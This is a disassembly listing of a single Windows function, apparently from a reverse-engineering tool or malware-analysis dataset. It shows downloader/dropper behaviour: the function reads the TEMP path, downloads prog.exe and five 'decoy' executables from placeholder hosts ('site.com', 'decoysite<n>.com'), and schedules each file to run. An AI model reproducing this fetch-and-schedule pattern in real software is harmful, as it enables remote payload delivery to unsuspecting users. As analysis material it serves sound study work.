Function at 0x1400017ff
Capabilities:
Query environment variable

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x360
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp + 0x12d]
mov rcx, rax
call fcn.140002598
lea rax, str.TEMP
mov rcx, rax
call sym.getenv
mov rdx, rax
lea rcx, [rbp + 0x12d]
lea rax, [rbp - 0x60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x12d]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x12e]
mov rcx, rax
call fcn.140002598
lea rdx, [rbp + 0x12e]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, str.http:__site.com_prog.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x12e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x12f]
mov rcx, rax
call fcn.140002598
lea rdx, [rbp + 0x12f]
lea rax, [rbp - 0x20]
mov r8, rdx
lea rdx, str.prog.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x12f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rdx, [rbp - 0x20]
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.DownloadAsync_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x150]
lea rdx, [rbp - 0x60]
lea r8, [0x140006077]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0x130]
lea rcx, [rbp - 0x20]
lea rdx, [rbp + 0x150]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x130]
mov rcx, rax
call sym.Schedule_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x130]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x150]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov dword [rbp + 0x2dc], 0
jmp 0x140001b3e
lea rax, [rbp + 0x190]
mov edx, dword [rbp + 0x2dc]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x1f0]
mov edx, dword [rbp + 0x2dc]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x1d0]
lea rdx, [rbp + 0x1f0]
mov r8, rdx
lea rdx, str.http:__decoysite
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1b0]
lea rdx, [rbp + 0x1d0]
lea r8, str..com_decoy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x170]
lea rcx, [rbp + 0x190]
lea rdx, [rbp + 0x1b0]
mov r8, rcx
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std::allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
mov rax, rbp
lea rdx, [rbp + 0x170]
lea r8, str..exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x190]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x230]
mov edx, dword [rbp + 0x2dc]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x210]
lea rdx, [rbp + 0x230]
mov r8, rdx
lea rdx, str.decoy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x20]
lea rdx, [rbp + 0x210]
lea r8, str..exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x210]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x230]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rdx, [rbp + 0x20]
mov rax, rbp
mov rcx, rax
call sym.DownloadAsync_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x270]
lea rdx, [rbp - 0x60]
lea r8, [0x140006077]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0x250]
lea rcx, [rbp + 0x20]
lea rdx, [rbp + 0x270]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x250]
mov rcx, rax
call sym.Schedule_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x250]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x270]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, rbp
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
add dword [rbp + 0x2dc], 1
cmp dword [rbp + 0x2dc], 4
jle 0x140001955
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2d0], rax
cmp qword [rbp + 0x2d0], 0
je 0x140001c2b
lea rdx, [rbp + 0x20]
mov rax, qword [rbp + 0x2d0]
mov r8d, 0x104
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp + 0x29f]
mov rcx, rax
call fcn.140002598
lea rcx, [rbp + 0x29f]
lea rdx, [rbp + 0x20]
mov rax, rbp
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x29f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, str.Generated_string:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
lea rax, [rbp + 0x2a0]
mov rcx, rax
call sym.GenerateString_abi:cxx11___
lea rax, [rbp + 0x2a0]
mov rdx, rax
mov rcx, rbx
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rcx, rax
mov rax, qword [0x1400064a0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp + 0x2a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, rbp
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, 0
jmp 0x140001ed8
add rsp, 0x360
pop rbx
pop rsi
pop rbp
ret